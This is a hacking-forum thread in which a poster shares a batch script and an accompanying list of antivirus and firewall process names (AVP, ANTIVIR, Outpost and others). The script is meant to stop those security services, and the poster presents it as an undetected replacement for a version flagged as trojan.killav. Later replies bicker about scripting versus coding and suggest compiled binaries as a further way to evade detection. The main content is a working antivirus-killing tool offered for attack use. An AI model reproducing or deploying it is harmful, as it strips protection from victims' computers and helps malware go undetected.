Got bored so ive put together a .BAT file that kills services which was posted by E.T

http://www.governmentsecurity.org/forum/in...t=0&#entry97875

It was currently picked up by anti-viruses as a trojan.killav

This is undetected and just as easy to manage. Does require 2 files though.

Controller.bat
=-=-=-=-=-=-=-=-
@echo off
SET SRV_LST=services.lst
FOR /F "skip=1 eol=> tokens=1 delims=" %%a IN (%SRV_LST%) DO (@net stop %%a /y)
-=-=-=-=-=-=-=-=-

Then have the services simply listed in another file. Just make sure you change the variable SRV_LST in controller.bat to fit with the filename were you have listed all the services / progz.

Example content of services.lst:

_Avp32.exe
_Avpcc.exe
_Avpm.exe
Ackwin32.exe
AgnitumOutpostFirewall
Anti-Trojan.exe
ANTIVIR
Apvxdwin.exe
ATRACK
Autodown.exe
AVCONSOL
Avconsol.exe
Ave32.exe
Avgctrl.exe
Avkserv.exe
Avnt.exe
Avp.exe
AVP.EXE
AVP32
Avp32.exe
Avpcc.exe


Hope someone finds this useful.

nice work man keep on coding

that aint coding...its scripting...

i wasn't talking to you, take your trolling elsewhere.



^mortello

not silly,

good think

that wasnt thinking, he assumed the other was right, he didnt think for himself.

anyway, its indeed scripting and not coding. And if u say it is coding then ur offending real coders.

which brings me to the following point, all of u, well many, complain about .bat net-stoppers are beeing detected but if u really coded one your self then its never detected. Ofcourse a .bat has the advantice of beeing able to be simple echoed but with some tricks u can also echo a binairy file. The binairy however does use only 1 file (or 2^43 if u want to...its up to u )

you mean scripted?

maybe you like this one

No Coded, coz it is possible to run shellcommands within a program

(ShellExecute, CreateProcess, etc)